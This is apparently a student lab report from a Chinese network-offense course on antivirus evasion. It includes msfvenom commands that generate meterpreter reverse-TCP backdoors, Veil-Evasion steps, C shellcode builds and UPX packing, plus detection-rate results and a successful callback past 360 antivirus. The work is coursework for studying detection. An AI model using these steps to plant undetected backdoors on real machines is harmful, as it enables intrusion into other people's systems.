20155232《网络对抗》Exp3 免杀原理与实践

问题回答

  • 1.基础问题回答

(1)杀软是如何检测出恶意代码的?


基于特征码的检测

特征码:一段特征码就是一段或多段数据。

如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。


启发式恶意软件检测

根据些片面特征去推断。

通用性,不精确。


基于行为的恶意软件检测

修改文件硬盘、连接恶意网站、修改注册表


(2)免杀是做什么?

通过一些手段来瞒过杀软的检测扫描。避免被杀毒软件查杀。

(3)免杀的基本方法有哪些?

改变特征码:如果有exe可以加壳,有shellcode可以用encode进行编码,有源代码可以用veil-evasion进行重写再编译。

改变行为

尽量使用反弹式连接、使用隧道技术

基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

  • 2.离实战还缺些什么技术或步骤?

实战靶机不会乖乖被你植入一个后门程序,并没有这么理想的情况,也不可能出现让你多次尝试连接还没有被察觉的情况,难度就会大大加强。而且现在各种杀毒软件的病毒库在不断地更新,所以需要探索出新的方法在实战中去应用。

实践内容


1.使用msf生成后门程序的检测


直接用上个实验的20155232_backdoor.exe进行检测,但是提示说不能有数字,所以修改名字后检测:

  • 扫描结果:46%的杀软(18/39)报告发现病毒.

2.Msfvenom使用编码器生成meterpreter可执行文件

  • 可以尝试多编码几次比如10次,理论上肯定比一次好些...但上课时老师说编码器可能就本身会被发现。

    就多编码几次试试,看看能不能好点,就试十次吧:在指令里加上
i 10

  • 扫描结果:48%的杀软(19/39)报告发现病毒,所以这个方法并不够免杀。

使用命令

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f war > java_backdoor.jar

生成jar文件

出现错误:

然后将名字进行修改即可,。。。

哇塞还不错哦

39个杀毒软件5个报毒。

将程序复制到带杀软的win10中,没有任何反应。

3.veil-evasion生成可执行文件


在尝试安装和下载veil的安装包进行安装失败

又使用命令sudo apt-get 也失败后,使用了从老师那里拷贝的虚拟机~

  • 命令行直接输入veil打开软件
  • 根据menu提示依次输入下面的指令

问题

之前在输入python的时候提示错误

use python/meterpreter/rev_tcp.py

解决

于是选择换成c,重复上面的操作,发现ok了,可以生成可执行文件啦。

  • 根据menu提示依次输入下面的指令


# list
# use 7
  • 接着是设置LHOST和LPORT
set LHOST 192.168.229.137
set LPORT 5232
generate

  • 设置你想生成的文件名

  • 成功~

  • 按照路径去复制此文件

注意

需要切换到图中标出来的目录才能找到此文件,在进行搜索:

  • 扫描一下:

在拷贝到win10的过程中,没有被拦截。

结果是比MSF进步了很多,只有8个引擎检测出来了有后门。

实验了一下360也没能查杀出来:

突然觉得360有点菜啊。。。。=v=!


4.C语言调用Shellcode


  • 下面指令会生成一个c语言格式的Shellcode数组。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.229.137 LPORT=443 -f c

  • 使用命令将该C语言代码转换为一个可在64位windows系统下操作的可执行文件

VirSCAN.org检测结果如下:

  • 根据老师提供的链接下载安装vs。并且选择桌面开发c++。

  • 进行编译运行,生成了exe文件:

放在网站上扫描一下~

比之前少了很多~

还是不错滴~

  • 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口,进行回连:

回连成功:

360依旧没有扫描出来~

5.加壳

  • upx是一种压缩程序,可以实现加壳的功能,这里简单介绍该指令加壳的命令格式:
upx 需要加壳的文件名 -o 加壳后的文件名

  • 检测一下

感觉没有太大的变化。。。哈哈哈加壳后查杀率不但没有减少反而相比上一个提高了,360也提醒我有木马病毒,让我赶紧清理。

说明这个方法实现不了免杀。。

6.通过组合应用各种技术实现恶意代码免杀

加壳+veil-evasion

在将生成的文件进行扫描:

跟上一种情况比起来差不多~哈哈哈哈

不过360没有扫描出来~

6.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

总结体会

在这次的实验里安装veil出现了不少问题,最终也没有解决,就用了老师的虚拟机。。。然后通过这次实验可以了解到,实现免杀的技术有很多种,需要慢慢学习和探索,很多免杀的方法见都没见过,有的也没有看懂,对于软件生成来说,很容易暴露特征,而自己手工编写更能实现免杀。最重要的电脑主机的杀毒软件需要进行更新,而且选择一个好的软件也很重要。

20155232《网络对抗》Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165205 网络攻防Exp3免杀原理与实践

    2018-2019-2 20165205 网络攻防Exp3免杀原理与实践 一.实践内容 1.1正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用 ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  3. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  4. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  5. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

随机推荐

  1. ssh免秘钥配置

    1.要求:两台相同的系统,这里设置server1控制server2的服务器 2.先在两台服务器上都安装好ssh 输入命令下载: yum install -y openssh-clients opens ...

  2. sql求两表的并集、交集、非交集、差集、结果集排序

    create table A( id ,) Not null primary key, name ) not null default(''), ) INSERT INTO [A]([name]) V ...

  3. Oracle EBS INV 删除保留

    DECLARE p_rsv apps.inv_reservation_global.mtl_reservation_rec_type; p_dummy_sn apps.inv_reservation_ ...

  4. MyEclipse总是quick update解决办法

    这个问题的解决办法是关闭自动更新 1. Windows > Preferences > MyEclipse> Community Essentials, 把选项 "Sear ...

  5. MySQL并发相关的参数

    1.max_connections 这个参数可提高并发连接数,即允许连接到MySQL数据库的最大数量. 如果实验MySQL过程中遇到too many connections等问题,可提高这个值,此外我 ...

  6. October 10th 2017 Week 41st Tuesday

    If you focus on what you left behind you will never see what lies ahead. 如果你只顾回头看,那么你永远也看不见前方有什么. Ye ...

  7. Markdown基本语法规范

    1. 标题 #的个数即表示Hn, 一下依次从h1~h6.  也可在句尾添加同样个数的#(也可忽略) # This is H1 ## This is H2 ### This is H3 #### Thi ...

  8. objc.io 待看文章

    https://objccn.io/issues/ https://objccn.io/issues/ 使用 VIPER 构建 iOS 应用 并发编程

  9. Android 7.0以上版本 系统解决拍照的问题 exposed beyond app through ClipData.Item.getUri()

    解决方案1: android.os.FileUriExposedException: file:///storage/emulated/0/ilive/images/photophoto.jpeg e ...

  10. kubernetes 垃圾回收机制

    一:前言 Kubernetes系统在长时间运行后,Kubernetes Node会下载非常多的镜像,其中可能存在很多过期的镜像.同时因为运行大量的容器,容器推出后就变成死亡容器,将数据残留在宿主机上, ...